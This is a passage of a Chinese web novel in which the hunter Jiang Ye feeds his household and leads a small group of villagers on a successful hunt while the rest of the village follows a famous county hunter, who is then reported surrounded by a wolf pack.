白梦夏和白梦秋已经坐在桌边,慕容晴也毫不客气地占了个位置,正逗弄着脚边疯狂摇尾巴的团子。
见江夜进来,姐妹俩连忙起身,温柔地为他拉开主位的椅子。
林间雪则快步走进厨房,将最后一道汤端了出来,然后便像根木桩一样,悄无声息地侍立在饭桌旁,低眉顺眼,准备伺候主人们用饭。
江夜拿起筷子,却没有动,目光落在了她身上。
“站着干什么?”
林间雪身子一僵,头垂得更低了,声音里带着一丝惶恐:“奴婢……奴婢伺候主人和夫人们用饭。”
“坐下,一起吃。”江夜的语气平淡,却带着不容置疑的意味。
“啊?”
林间雪猛地抬头,一双水润的眸子里满是震惊和不敢置信,仿佛听到了什么天方夜谭。她连连摆手,脸都吓白了。
“不,不不……主人,这万万使不得!奴婢……奴婢只是个下人,怎敢与主人们同桌用饭?这不合规矩,不合规矩啊……”
她慌得语无伦次,手脚都不知道该往哪里放。
“夫君让你坐,你就坐吧。”
一只温润柔软的手轻轻拉住了她。
白梦夏冲她温柔地笑了笑,不由分说地将她按在了旁边的空位上:“我们家没这么多规矩的。”
说着,她拿起公筷,夹了一块最大、最肥美的虎肉,放进了林间雪面前的空碗里。
那块肉,在朴素的粗瓷碗里,闪烁着诱人的油光,散发着勾魂夺魄的香气。
林间雪彻底呆住了。
她僵硬地坐在椅子上,看看身边的白梦夏,又看看主位上面无表情的江夜,最后,目光死死地落在了自己碗里那块肉上。
她的眼眶,毫无征兆地就红了。
水汽迅速在眼底凝聚,很快,大颗大颗的泪珠便不受控制地滚落下来,砸在粗糙的桌面上,洇开一小片深色的水渍。
她活了二十一年,从未见过这样的珍馐,更不敢想,这样的东西,有一天会出现在自己的碗里。
“吃吧,凉了就不好吃了。”白梦秋也笑着催促道。
林间雪吸了吸鼻子,强忍住汹涌的泪意,颤抖着手,拿起了筷子。
那双筷子,仿佛有千斤重。
她小心翼翼地夹起那块肉,仿佛捧着什么绝世珍宝,犹豫了许久,才缓缓地,送入口中。
肉块入口的瞬间。
林间雪的身体猛地一颤,
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眼睛瞬间瞪得溜圆!
无法形容的滋味,在她的味蕾上轰然炸开!
那肉质无比的鲜嫩,几乎不需要咀嚼,就在舌尖上化开。
一股浓醇霸道的肉香夹杂着奇异的药香,瞬间席卷了她的整个口腔,顺着喉咙滑下,化为一道磅礴而温润的暖流,涌向四肢百骸!
常年营养不良和劳作带来的虚弱感,在这一刻仿佛被这股暖流冲刷得一干二净!浑身上下,都透着一股前所未有的舒泰与力量感!
她的表情,从呆滞,到震惊,再到迷茫,最后,化为一种从未在她脸上出现过的,纯粹到极致的幸福与满足。
她忘了哭,忘了说话,甚至忘了呼吸。
只是痴痴地咀嚼着,感受着那股神仙般的滋味,仿佛要将这一刻的幸福,永远地烙印在灵魂深处。
看着她那副痴傻可爱的模样,白梦秋忍不住“噗嗤”一声笑了出来,桌上的气氛也随之变得轻松温馨。
江夜没再管她,开始自顾自地吃饭。
一顿饭,在一种奇异而和谐的氛围中结束。
饭后,林间雪仿佛找回了魂,抢着收拾碗筷,那股利索劲,与之前判若两人。
江夜则悠闲地靠在椅子上,目光透过窗棂,望向院外。
秋风萧瑟,卷起几片枯黄的落叶,在空中打着旋儿,天气肉眼可见地一天比一天凉了。
他看了一眼身侧正温柔地为他添茶的白梦夏,又看了一眼另一边和慕容晴一起逗弄团子的白梦秋。
他心中默默盘算起来。
白梦夏她们都怀着身孕,需要大量的营养。
加上马上就要入冬了,光靠黑风寨搜刮来的那点存粮,和打猎剩下的这点虎肉,想安然度过一个漫长而寒冷的冬天,还远远不够。
必须在第一场雪落下之前,储备足够多的粮食和肉类。
越多越好。
第73章 一起进山?
用过饭,慕容晴便要回凤啸寨了。
寨子里还有一堆事等着她处理,不能在稻花村久留。
江夜起身起身送她出门。
“你那酒,真能成?”慕容晴走在院中,还是忍不住回头看了一眼那口被黄泥封死的陶瓮。
她虽不像村民那样觉得江夜是暴殄天物,但那酿造手法,确实闻所未闻。
“等着喝就行了。”江夜淡然一笑。
慕容晴撇了撇嘴,没再追问。这个男人身上藏着的秘密,比她想象的还要多。
两人并肩走出大门,一路向村口行去。
快到村口的大槐树下时,江夜看到两个熟悉的身影正蹲在树下,一人叼着一根旱烟,满脸愁容。
正是他大哥江峰,和帮工的王囤。
“哥,王囤哥。”江夜走上前。
两人听到声音,猛地抬头,看到是江夜,愁苦的脸上挤出一丝笑。
“小夜来了。”江峰站起身,拍了拍屁股上的土。
王囤也连忙站起来,对着江夜恭敬地喊了一声:“江夜兄弟。”
接着,两人的目光都落在了江夜身边的慕容晴身上,眼中闪过一丝惊艳,随即又有些拘谨地挪开了视线。
“你们这是商量什么呢?愁眉苦脸的。”江夜问道。
江峰叹了口气,黝黑的脸上满是无奈。
“还能为啥,快入冬了。今年年景不好,地里收成差,家家户户都缺粮。再不想办法弄点东西,这个冬天,怕是不好过。”
王囤也在一旁点头,声音艰涩:“我跟峰哥正商量着,想趁着天还行,再进山里碰碰运气。哪怕打只兔子,也能给家里添口嚼用。”
话虽如此,但两人心里都清楚,这山,不是那么好进的。
外围早就被村里的猎户们来来**地犁了无数遍,连根兔子**都难找。想有收获,就得往深山里走。
可深山里有什么?
有狼,有熊,还有各种未知的危险。
他们这种连像样兵器都没有的普通村民,进去就是九死一生。
可不进去,一家老小就得挨饿。
江夜听完,点了点头,这正和他想的一样。
“我也正有此意,”他开口道,“既然如此,不如我们一同前往,相互之间也好有个照应。”
话音落下,江峰和王囤同时愣住了。
王囤最先反应过来,他那张愁苦的脸瞬间被狂喜所取代激动得话都说不利索了。
“江、江夜兄弟……你……你说的是真的?你……你愿意带我们一起?”
这简直是天上掉馅饼!
跟着江夜进山?那还叫碰运气吗?那叫去山里捡肉!
江峰也高兴得咧开了嘴,他重重地拍了拍江夜的肩膀,眼里的担忧一扫而空,只剩下满满的踏实和欣慰。有弟弟在,啥都不愁!
这边的动静,立刻吸引了不远处那些晒太阳的村民。
他们听到“进山”、“打猎”这几个字眼,耳朵瞬间竖了起来。
当他们听清江夜要带江峰和王囤一起进山时,所有人的眼睛,瞬间就亮了!
进山!
跟江夜一起进山!
其中一个反应最快的村民,想都没想,拔腿就往江夜那边冲。
“江夜兄弟!江夜兄弟等一下!”
他这一动,剩下的人也如梦初醒,一个个争先恐后地围了上来,瞬间就把江夜几人围了个水泄不通。
“江夜兄弟,你可真是活菩萨啊!”
“
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是啊是啊,江夜兄弟,你看我家那情况,上有老下有小的,今年冬天要是没口肉,真不知道该咋办了!”
“江夜兄弟,带上我一个吧!我力气大,能扛东西!”
人群里,一个熟悉的身影挤得最是卖力,正是王翠花的丈夫王大壮。
他好不容易挤到前面,一张老脸上堆满了谄媚的笑容,几乎要开出花来。
“江夜……不,夜哥!夜哥!”他点头哈腰,姿态放得极低,“您看,我……我虽然打猎不行,但我跑得快,眼神好,我可以帮您探路,当个哨探!求求您,带上我吧!我家翠花她……她也好久没吃肉了……”
一张张朴实的脸上,此刻写满了恳求与巴结。
面对这突如其来的“热情”,江夜的表情没有丝毫变化。
他只是平静地扫视了一圈,目光从一张张或谄媚、或焦急的脸上划过。
这些人虽然势利,但说的也是实话。
对稻花村的绝大多数人来说,冬天都十分难捱。
而且,他这次进山,目标可不是一两只野鸡兔子。
人多,确实方便。
可以进行大规模的围猎,将猎物驱赶到固定的区域,效率能提高数倍不止。
想到这里,在一众村民紧张到几乎窒息的注视下,江夜淡淡地点了点头。
“好。”
仅仅一个字,却瞬间引爆了全场!
“噢——!”
“太好了!江夜兄弟答应了!”
“我们有救了!这个冬天有肉吃了!”
巨大的欢呼声冲天而起,村民们激动得满脸通红,手舞足蹈。
王大壮更是激动,一个劲地作揖道谢:“谢谢夜哥!谢谢夜哥!您真是我们的大恩人啊!”
第74章 谁才是真大腿?
就在村民们将江夜团团围住,一声声夜哥喊得震天响的时候,村口的方向,突然传来一阵急促的锣鼓声。
“哐!哐!哐!”
那声音由远及近,打破了这里的狂热气氛。
所有人都愣了一下,纷纷扭头望去。
只见村长王满仓带着两个后生,一边敲锣,一边扯着嗓子往村里的大槐树下走,脸上带着几分少见的郑重和兴奋。
“都过来!都过来!有大好事宣布!”
村民们面面相觑,虽然不舍得离开江夜这根大腿,但村长亲自敲锣,必然不是小事。人群开始松动,议论着朝着大槐树下涌去。
“什么大好事?”
“不知道啊,看村长怎么说吧。”
江夜、江峰几人也跟了过去。
很快,大槐树下就里三层外三层地围满了人。
王满仓清了清嗓子,站在一块大石头上,红光满面地环视众人,朗声宣布:“乡亲们!县尊老爷体恤咱们百姓过冬艰难,特意组织了一场全县范围的冬猎!召集各村的好手,由县里统一安排,进山猎取冬粮!”
话音刚落,人群便是一阵骚动。
官方组织的冬猎?这可真是大好事了!
不等众人消化完这个消息,王满仓又抛出了一个重磅**。
“而且,这次带队的,是咱们清河县第一猎户,‘铁臂’李师傅!”
“李铁臂”三个字一出,人群瞬间炸开了锅。
“什么?是李铁臂?”
“就是那个能一个人进山,徒手猎杀黑熊的李铁臂?”
“我的天,县里竟然把他都请出山了!”
李铁臂在清河县,那就是个活着的传奇。
关于他的故事,说书先生能讲三天三夜不重样。
在普通村民心里,这三个字,就代表着绝对的安全和丰厚到难以想象的收获。
王翠花一把推开挡在身前的人,挤到最前面,满脸都是谄媚的笑,扯着嗓子问:“村长,您说的可是真的?真是那个能把三百斤黑熊当柴火扛下山的李铁臂师傅?”
“那还有假!”王满仓得意地一拍胸脯,“不止李铁臂师傅!还有城南的‘追风刀’赵三,城西的‘神箭’刘五,哪个不是在县里响当当的人物!有他们带队,这次进山,那就是去山里捡肉!县里说了,愿意去的,现在就报名,猎物按人头分,绝不亏待大家!”
人群彻底沸腾了。
这阵容,简直是清河县狩猎界的梦之队!稳了!这次冬猎,绝对稳了!
“当家的!你还愣着干什么!”
王翠花尖锐的嗓门猛地响起,她一把拽过还在人群后面发愣的王大壮,指着王满仓的方向,大声嚷嚷道:“赶紧去报名啊!这可是跟着李爷去打猎,千载难逢的好机会!别跟着某些人瞎混,到时候连根**都捞不着!”
她这话虽然没点名,但眼神却轻蔑地瞟向了江夜的方向,阴阳怪气的意味,谁都听得出来。
王大壮被王翠花拽得一个趔趄,却站在原地没动,他犹豫了。
脑子里一边是李铁臂徒手杀熊的传说,一边是江夜扛着那头小山般的白色异虎,从容走过村道的画面。
李铁臂徒手杀熊那是传说,但江夜扛回来那头大白虎却是亲眼所见。
“你个**,还愣着干什么!”王翠花见他不动,气不打一处来,拧着他胳膊上的肉,尖声催促,“那是李铁臂!县里第一的猎户!跟着他还能有错了?你要是敢犯浑,不跟着李爷去,非跟着那扫把星混,看我回去了不扒了你的皮!”
王大壮被拧得龇牙咧嘴,心里那点犹豫瞬间被掐灭了。
他不敢再违逆,只能地被王翠花推搡着,挤进了报名的人群。
他这一动,就像推倒了第一块多米诺骨牌。
先前围绕在江夜身边的那些村民,此刻脸上都露出了犹豫和动摇的神色。
江夜虽然厉害,能打死老虎,可他毕竟年轻,还是一个人。
而县里组织的队伍,那可是专业的!是正规军!领头的更是传奇人物李铁臂!
两相对比,高下立判。
他们互相交换着眼神,窃窃私语。
“县里组织的,肯定稳当啊……”
“是啊,那可是李铁臂,咱们这十里八乡谁不知道他的名号?”
“江夜兄弟是厉害,可他毕竟年轻,就一个人……这李铁臂可是带着一帮好手呢。”
人心,是最经不起比较的东西。
短暂的眼神交流后,大部分人瞬间达成了共识。
“哗啦”一下,人群迅速从江夜身边散开,争先恐后地涌向大槐树下的王满仓,生怕自己落后了。
“村长,还有我!”
“我也去!我力气大!”
“算上我爹!”
刚才还众星捧月,热闹非凡的江夜身边,转眼间,就变得冷冷清清。
只剩下江峰、王囤,以及另外五六个平日里就老实巴交,不爱凑热闹的村民,还固执地站在原地。
江峰看着那群转眼就变了嘴脸的乡亲,气得嘴唇直哆嗦。王
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囤也是一脸的难堪,低着头,搓着满是老茧的手。
这帮人,翻脸比翻书还快。
“小夜……”江峰压着火气,看向江夜,眼神里带着询问。
江夜的神情自始至终都没有一丝变化,仿佛眼前这出闹剧与他无关。
他甚至没看那群抢着报名的人,只是对江峰摇了摇头。
“我不去。”
江峰一听,心里那点憋屈和犹豫瞬间烟消云散。他想都没想,立刻挺直了腰杆,声音洪亮:“小夜不去,我也不去!我跟俺弟一起!”
“我……我也跟江夜兄弟!”王囤也猛地抬起头,重重点头。
剩下的那几个人对视一眼,也都下定了决心,梗着脖子站在原地。
他们或许想不明白太多大道理,但他们都亲眼见过江夜的本事。这份信任,比什么虚无缥缈的名头都来得实在。
这一幕,自然落在了不远处的王翠花眼里。
她双手叉腰,看着江峰那几根“独苗”,嗤笑出声,那尖锐的嗓门,生怕别人听不见。
“哟,还真有傻子啊?”她阴阳怪气地嚷嚷道,“放着金光闪闪的大腿不抱,非要去跟一个毛头小子混,真是脑子被驴踢了!”
她的目光落在王囤身上,又假惺惺地换上一副悲天悯人的腔调。
“王囤啊,不是嫂子说你。你家那情况,可经不起折腾。别犯糊涂,跟着大家伙儿一起,好歹能分点肉,跟着他……哼,到时候别说肉了,怕是连根西北风都喝不上热乎的!”
王囤的脸瞬间涨得通红,他不是个能言善辩的人,急得额头青筋都冒了出来,梗着脖子回了一句:“我……我信江夜兄弟!”
“呸!”
王翠花见他不领情,往地上啐了一口,脸上的假笑也收了起来,只剩下赤裸裸的鄙夷和不屑。
“不识好歹的东西!行,你们就跟着他吧!我等着看你们到时候怎么哭着回来!肯定连根**都打不着!”
她断言道,仿佛已经看到了江夜几人空手而归的凄惨模样。
那些刚刚报名成功的村民,也忍不住劝江夜几人。
但从始至终,江夜都面无表情。
他甚至连一个眼神都懒得投给王翠花。
那些刺耳的嘲讽,于他而言,不过是苍蝇嗡嗡。
他无视了所有的目光,只是平静地对江峰和王囤等人说道:“明日一早,卯时,村口集合。带好水和干粮。”
说完,他不再停留,转身,在一众复杂的目光中,带着慕容晴,从容离去。
第75章 为宝宝们准备的
江夜回到家中时,天色已经擦黑。
主屋的窗户里,透出温暖明亮的橘色灯光。
“夫君回来了。”
“饭菜都温着呢。”
一进屋,白梦夏和白梦秋便迎了上来,她们的脸上挂着柔柔的笑。
林间雪也安静地侍立在一旁,低着头,随时等候吩咐。
晚饭很简单,用剩下的野猪肉炖了一锅土豆,炒了一个蔬菜,香气却霸道地占满了整个屋子。
饭后,林间雪麻利地收拾着碗筷。
白梦夏则为江夜沏上了一壶热茶。
江夜靠在椅背上,喝了一口滚烫的茶水,暖意顺着喉咙一直流进胃里。
他看着灯下两个愈发显得珠圆玉润的绝美妻子,随口说了一句。
“明日一早,我进山一趟。”
屋子里温馨的气氛,瞬间凝固了。
姐妹俩抬起头,方才还带着笑意的绝美脸蛋上,瞬间布满了担忧。
“夫君,山里危险……”白梦夏忍不住拉住他的手,柔声劝道。
“是啊夫君,非去不可吗?”白梦秋也凑了过来,水汪汪的眸子里满是紧张。
江夜淡然一笑,没有多言,只是伸出双手,一手一个,轻轻覆在她们的小腹上。
他放柔了声音,目光在姐妹俩担忧的脸上来回逡巡:“冬天快到了,总得为咱们未出世的宝宝们,多准备些过冬的肉食。”
宝宝们……
简单的三个字,像一股最温润的暖流,瞬间冲散了姐妹俩心头所有的担忧和紧张。
她们对视一眼,都能看到彼此眼中的甜蜜与感动,脸颊上泛起两抹动人的红晕。
是啊,夫君做的一切,都是为了这个家,为了她们,为了即将出生的孩子。
想到这里,她们的心中便只剩下浓浓的柔情与骄傲。
“那……那夫君一定要小心。”白梦夏低下头,声音细若蚊蚋,却无比乖巧。
“早些回来,我们和宝宝都等你。”白梦秋也靠在他身上,满心都是安宁。
一旁侍立的林间雪,默默地将这一幕看在眼里。
她看着主君和两位夫人之间那种自然而然的亲昵与温情,看着主君脸上那发自内心的宠溺笑容,眼神中不由自主地流露出一丝羡慕。
随即,她又像是被什么烫到了一样,飞快地低下头,掩去眼底那抹不易察觉的落寞,安静地收拾起桌上的碗筷。
……
第二日,天还未亮。
江夜的卧房里已经亮起了灯。
白梦夏和白梦秋早早就起了床,一个在厨房里忙着烙热乎乎的麦饼,一个细心地将温热的水灌满江夜的水囊。
“夫君,山里冷,这件夹袄你贴身穿着。”
“干粮带够了吗?路上饿了可怎么办?”
两个小女人围着江夜,叽叽喳喳,嘘寒问暖,一双美眸里写满了不舍,恨不得把他从里到外都裹成一个粽子。
林间雪也默默地将江夜的行囊拿了过来。
她没有多话,只是蹲下身,仔細地检查着每一个细节。
她先是试了试弓弦的韧度,又将每一支箭矢都用软布擦拭了一遍,最后把开山斧别在行囊最顺手的位置,每一个动作都专注而细致。
江夜看着眼前为他忙碌的三个女人,心中一片温热。
大丈夫身居天地间,所求为何?
娇妻在怀,儿女绕膝,食有肉,居有屋,足矣。
他心中涌起一股前所未有的满足感。
“好了,我又不是去龙潭虎穴,你们看给我弄的。”江夜笑着,张开双臂,将白梦夏和白梦秋一左一右地揽入怀中。
温香软玉,满怀馨香。
他在姐妹俩光洁的额头上,一人亲了一口。
“呀!”
姐妹俩齐齐发出一声娇呼,俏脸瞬间红透,羞得把头埋在他怀里,不敢抬起来。
“在家乖乖等我,很快就回来。”
江夜松开她们,又看了一眼旁边站着的林间雪,嘱咐她好好照顾夫人,这才拿起弓箭,转身大步走出了院门。
……
卯时,天边才刚刚泛起一丝鱼肚白。
村口的大槐树下,江峰和王囤正搓着手,来回踱步。
他们身后,还站着五个同样穿着破旧棉袄的汉子,都是昨天没被李铁臂的名头唬住,选择跟着江夜的。
几个人脸上,既有对即将到来的狩猎的兴奋,又有一丝说不清的忐忑。
毕竟,他们这七八个单薄的身影,跟全村出动的大阵仗比起来,实在显得有些寒酸。
“小夜怎么还没来?”江峰探着脖子,朝村里望了望。
“江夜兄弟一向准时,峰哥你别急。”
就在这时,村道另一头,突然传来一阵喧闹。
“哐!哐!哐!”
刺耳的锣鼓声夹杂着兴奋的嚷嚷声,由远及近。
一支足有四五十人的庞大队伍,浩浩荡荡地开了过来。
这些人个个肩扛锄头、粪叉,少数几个手里拿着生了锈的猎叉,脸上洋溢着即将发大财的狂热。
走在队伍最前面的,是一个身材魁梧如铁塔的壮汉。他背着一张比寻常弓箭大上两圈的铁胎弓,腰间别着一把厚背**,下巴微微抬着,眼神倨傲。
正是清河县第一猎户,李铁臂。
他身边,还簇拥着几个同样气息精悍的成名猎手,一个个都是县里叫得上名号的好手。
“李师傅!您看咱们今天从哪个山头开始?”
“李爷,您渴不渴?我给您带了水囊!”
报名成功的村民们,像一群苍蝇般围着李铁臂,一张张脸上堆满了谄媚的笑,崇拜得五体投地。
王翠花在人群中最为扎眼,她叉着腰,扯着嗓子对被挤在外围的丈夫王大壮喊:“你个**,往里挤啊!离李师傅近一点,多学学本事,听见没有!”
王大壮被骂得缩了缩脖子,只能陪着笑,使劲往前凑。
这边的动静,自然也惊动了江峰几人。他们看着那声势浩大的队伍,再看看自己这边小猫三两只,脸上都有些挂不住,默默地往后退了半步。
王翠花的眼尖,一下子就看到了他们
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,她发出一声响亮的嗤笑。
“哟,还真有不怕死的傻子啊?”她阴阳怪气地嚷嚷着,眼神轻蔑地扫过江峰和王囤,“放着金光闪闪的大道不走,非要跟着个毛头小子去走死路,真是脑子被驴给踢了!”
其他村民虽然也觉得王翠花说话难听,但也觉得是这个理,忍不住开口劝道。
“峰子,你弟弟是厉害,可他能跟李铁臂师傅比吗?那可是县尊老爷请来的人!再加上还有其他厉害师傅,你们现在过来还来得及,别犯浑!”
“就是,王囤,你家就你一个顶梁柱,别跟着犯浑啊!”
王翠花看着江峰几人窘迫的模样,心里舒坦极了,她清了清嗓子,正准备再说几句更难听的风凉话。
就在这时,一个淡然的声音从他们身后传来。
“哥,我们走吧。”
众人回头,只见江夜不知何时已经到了。他肩上扛着那把黑沉沉的神弓,身旁跟着那头银白色的小狼崽,神情平静地仿佛眼前这出闹剧与他无关。
“小夜!”江峰看到他,像是找到了主心骨,心里的火气和憋屈瞬间消散了大半。
王翠花看到江夜,非但不收敛,反而更加来劲了。她双手叉腰,走到队伍前面,几乎是指着江夜的鼻子。
“我当是谁呢,原来是正主来了!怎么,就带这么几个人,也想进山打猎?你们是去给野兽送口粮的吧!”
“我告诉你们,今天有李铁臂师傅在,这山里的野味都是我们的!你们几个,就跟在后头喝西北风吧!到时候别说肉了,怕是连根**都捞不着!”
她断言道,仿佛已经看到了江夜几人空手而归的凄惨模样。
李铁臂也注意到了这边的动静,他瞥了江夜一眼,看到他那年轻的模样和身边那几根“歪瓜裂枣”,嘴角勾起一抹不屑的冷笑,连话都懒得说一句,直接转过了头。
在他看来,这不过是一群不知天高地厚的蠢货在胡闹。
面对所有人的嘲讽和轻视,江夜的表情没有丝毫变化。
那些刺耳的话,于他而言,不过是夏日的蚊蝇嗡嗡,连让他抬一下眼皮的资格都没有。
他无视了所有的目光,只是平静地对江峰和王囤等人说道:“跟上。”
说完,他不再停留,转身就朝着与大部队相反的、通往后山深处的另一条小路走去。
“我……我信江夜兄弟!”王囤猛地抬起头,第一个迈开步子,紧紧跟了上去。
“算我一个!”
“我也去!”
江峰和剩下的几个人对视一眼,也都下定了决心,梗着脖子,头也不回地跟上了江夜的脚步。
“呸!一群不识好歹的东西!”王翠花朝着他们的背影,重重地啐了一口,“我等着看你们怎么哭着回来!”
李铁臂也冷哼一声,大手一挥,中气十足地喝道:“出发!”
“噢——!”
庞大的队伍爆发出震天的欢呼,浩浩荡荡地朝着山林主路进发,与江夜那几个孤零零的背影,渐行渐远。
第76章 跟着他,喝西北风?
晨曦的薄雾在林间弥漫,带着一丝沁骨的凉意。
江夜一行八人走在山路上,气氛有些沉闷。
队伍里除了江夜,其他人脸上都带着几分憋屈。
村口王翠花那尖酸刻薄的嘲讽,还有那些村民们看傻子一样的眼神,像一根根刺,扎在他们心上。
尤其是那四个村民,不禁开始怀疑起,跟着江夜兄弟……真的对吗?
李铁臂的名头太响亮了,那可是能徒手杀熊的传奇人物。他们这边,算上江夜,满打满
算才八个人,跟人家那浩浩荡荡的“正规军”一比,怎么看都像是凑起来的草台班子。
江峰和王囤几次想开口说点什么,打破这压抑的沉默,可话到嘴边,又不知道该如何说起,只能埋头赶路,脚下的枯枝被踩得“咔嚓”作响。
江夜的脚步却始终从容不迫,仿佛外界的一切都与他无关。他那双深邃的眸子平静地扫视着林中的一草一木,耳朵微微翕动,捕捉着常人无法察觉的细微声响。
突然,他停下了脚步。
身后几人也跟着停下,疑惑地看着他。
江夜没有回头,只是抬起一只手,做了一个安静的手势。
众人立刻屏住了呼吸,顺着他的目光望去,只见前方几十步外的一处灌木丛,枝叶似乎有轻微的晃动。
可他们看了半天,除了风吹草动,什么也没发现。
就在众人疑虑之际,江夜已经不疾不徐地从背后取下了神弓。
弯弓,搭箭,瞄准。
整个动作行云流水,没有一丝烟火气,仿佛已经做过千百遍。
“咻!”
一声尖锐的破空声,打破了山林的寂静。
那支黑色的箭矢,如同一道死亡闪电,瞬间没入了灌木丛中。
“噗通!”
一声闷响传来,紧接着,一只色彩斑斓、体型肥硕的野鸡从灌木丛后翻滚出来,挣扎了两下,便再也不动了。
队伍里,所有人眼睛都直了。
刚才还压在心头的憋闷和疑虑,仿佛被这一箭瞬间射穿,烟消云散。
“中了!”一个汉子忍不住低呼出声,满脸都是不敢置信。
江夜放下弓,神情淡然,仿佛只是做了一件微不足道的小事。
王囤第一个反应过来,三步并作两步跑过去,将那只还在流血的野鸡捡了起来,入手沉甸甸的,少说也有四五斤重。他激动得脸都涨红了,提着野鸡的手都在微微颤抖。
这……这就打着了?
他们进山才多久?半个时辰都不到!
还没等他们从这突如其来的惊喜中回过神来,江夜已经再次开弓。
“咻!”
又是一箭。
不远处的另一棵树下,一只正在刨食的兔子猛地一僵,应声倒地。
“咻!”
“咻!”
“咻!”
接下来,江夜带着队伍不紧不慢地在林中穿行,手中的弓箭每一次响起,都必然会带走一个猎物的生命。
队伍里的气氛彻底变了。
一开始,他们还为每一只猎物而惊喜呼喊。
到后来,他们已经麻木了。
他们唯一需要做的,就是跟在江夜身后,不停地将那些倒地的野鸡、兔子捡起来,塞进越来越沉的背囊里。
江峰看着弟弟那从容的背影,心中涌起一股无与伦比的自豪感。
什么李铁臂,什么县里第一,在他看来,都比不上自家弟弟的一根手指头!
不到半个时辰,他们八个人的背囊就已经被塞得满满当当,粗略一数,至少有七八只野鸡,十几只肥硕的兔子。
这收获,比他们以前进山一整天都多!
几个汉子看着江夜的眼神,已经从最初的半信半疑,变成了彻头彻尾的敬佩。
“继续往里走。”江夜的声音依旧平淡,他指着林子深处,“这点东西,还不够塞牙缝的。”
众人闻言,精神大振,之前的疲惫一扫而空,嗷嗷叫着跟了上去。
又往山林深处走了一段路,江夜再次停下。
他蹲下身,捻起地上几枚还很新鲜的蹄印,放在鼻尖闻了闻。
“跟上,小声点。”
众人立刻噤声,一个个猫着腰,学着江夜的样子,脚步放得极轻
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。
追着那蹄印走了约莫半里地,前方豁然开朗,出现一片林间空地。
两头毛色油亮、体格健壮的狍子,正在低头悠闲地啃食着青草,浑然不知危险已经降临。
队伍里所有人都瞪大了眼睛,呼吸都停滞了。
狍子!还是两头!
这玩意儿警觉得很,平时看到人影早就跑没影了!
不等众人反应,江夜已经再次拉开了弓弦。
这一次,他直接搭上了两支箭。
“咻!咻!”
两声破空声几乎同时响起!
那两头狍子像是被惊雷劈中,身体猛地一颤,连悲鸣都来不及发出一声,便轰然倒地,鲜血瞬间染红了身下的草地。
一箭双杀!
整个林间空地,死一般的寂静。
所有人都被眼前这一幕彻底震撼了,他们呆呆地看着那两头倒地的狍子,又看看远处那个手持神弓,神情淡漠的男人,大脑一片空白。
“咕咚。”
不知是谁,艰难地咽了口唾沫。
“娘……娘嘞……”王囤嘴唇哆嗦着,扔下背囊就冲了过去。他扑到一头狍子身边,摸着那温热的尸体,感受着那厚实的皮**,眼眶一下子就红了。
他猛地回头,看着江夜,这个七尺高的汉子,声音里竟然带上了哭腔,激动得语无伦次。
“江夜兄弟……我……我王囤这辈子……干得最对的一件事,就是今天早上没听那帮孙子的,选择跟着你!”
剩下几个汉子也回过神来,一个个看着地上那两头肥硕的狍子,再看看自己背囊里满满的野鸡兔子,激动得浑身发抖。
什么狗屁李铁臂!什么狗屁县里第一!
跟着他们,能有这好事?
他们看向江夜的眼神,已经不再是敬佩,而是狂热!
王翠花说得对,一头是金光大道,一头是羊肠小道。
只是她看反了。
跟着江夜兄弟,这哪里是羊肠小道?这分明是直接在猎物堆里打滚啊!
跟着他喝西北风?
呸!这风要是顿顿都这么香,他们愿意喝一辈子!
第77章 我们过去看看
众人正兴奋地商量着怎么把这两头狍子弄回去时,林子深处,却骤然传来几声凄厉到变了调的尖叫。
“救命啊——!”
“狼!有狼!”
尖锐的呼救声刺破了林间的宁静,也瞬间浇灭了众人心头的狂喜。
所有人脸色一变,齐刷刷地朝着声音传来的方向望去。
“怎么回事?”王囤紧张地握紧了手里的柴刀。
话音未落,前方的灌木丛一阵剧烈晃动,三个身影连滚带爬地冲了出来。
这三人衣衫破碎,浑身沾满了泥土和草屑,脸上满是惊骇欲绝的神情,其中一人的胳膊上更是鲜血淋漓,一道深可见骨的伤口触目惊心。
“是……是县里冬猎队的人!”江峰身后的一个汉子失声叫道。
那三人也看到了江夜一行,他们踉踉跄跄地冲过来,为首那个没受伤的汉子,上气不接下气地嘶声大喊:“狼!狼群!快跑!李头儿他们……他们被围住了!”
什么?
江峰和王囤等人,脸色“唰”地一下就白了。
李铁臂那浩浩荡荡的四五十号人,竟然被狼群给围了?
那可是能徒手杀熊的李铁臂啊!
“怎么回事?说清楚!”江峰一把扶住那个摇摇欲坠的汉子,急声问道。
“我们……我们追着一头野猪,追得深了,没想到闯进了狼窝……”那汉子惊魂未定,嘴唇都在哆嗦,“狼太多了,黑压压的一片,至少有几十头!一下就冲散了我们的队形……李头儿带着几个好手断后,让我们赶紧出来求援……完了,全完了……”
他一边说,一边绝望地摇头,显然认为李铁臂等人已经凶多吉少。
几十头狼组成的狼群?
听到这个数字,江峰这边,除了江夜之外,所有人都倒吸了一口凉气,只觉得一股寒气从脚底板直冲天灵盖。
那几个刚刚还因为分到猎物而兴奋不已的村民,此刻更是吓得脸色惨白,双腿抖得跟筛糠一样。
开什么玩笑,那可是狼群!别说几十头了,就是三五头,都够把他们这几个人撕成碎片了!
“快……快跑吧!”
“是啊,再不跑就来不及了!”
队伍里,两个胆子最小的村民已经带着哭腔,拉着王囤的衣角,哆哆嗦嗦地劝道。
那三个从狼口逃生的猎户,也急切地催促:“还愣着干什么?等死吗?那群畜生狡猾得很,说不定已经追上来了!赶紧跑啊!”
然而,就在这一片混乱和惊惶之中,江夜的声音却平淡地响了起来。
“在哪个方向?”
他目光扫过那三个狼狈的猎户,眉头微皱。
此言一出,现场瞬间一静。
所有人都像看怪物一样看着江夜。
那三个猎户更是以为自己听错了,其中一人指着林子深处,结结巴巴地道:“就……就在那边那个山谷里……兄弟,你问这个干嘛?你可别犯浑啊!那不是开玩笑的,几十头狼,牙尖嘴利,李头儿他们都顶不住,咱们这几个人过去,就是给狼群塞牙缝的!”
另一个猎户也连连点头,苦口婆心地劝道:“兄弟,听我们一句劝,别去送死!队伍都冲散了,神仙难救!留得青山在,不怕没柴烧啊!”
江夜没理会他们的劝说,只是转过头,看向江峰和王囤。
“哥,王囤哥,你们把这两头狍子拖到那边的山坳里,用树枝盖好。”
他语气平淡,仿佛在说一件再寻常不过的事情。
“咱们准备一下,过去看看。”
“轰!”
这句话,如同一道惊雷,在众人耳边炸响。
江峰和王囤当场就懵了。
那三个猎户更是眼珠子都快瞪出来了,满脸都是“你**是不是疯了”的表情。
而江夜队伍里那两个本就吓破了胆的村民,在听到这句话后,心理防线彻底崩溃了。
“不!我不去!”
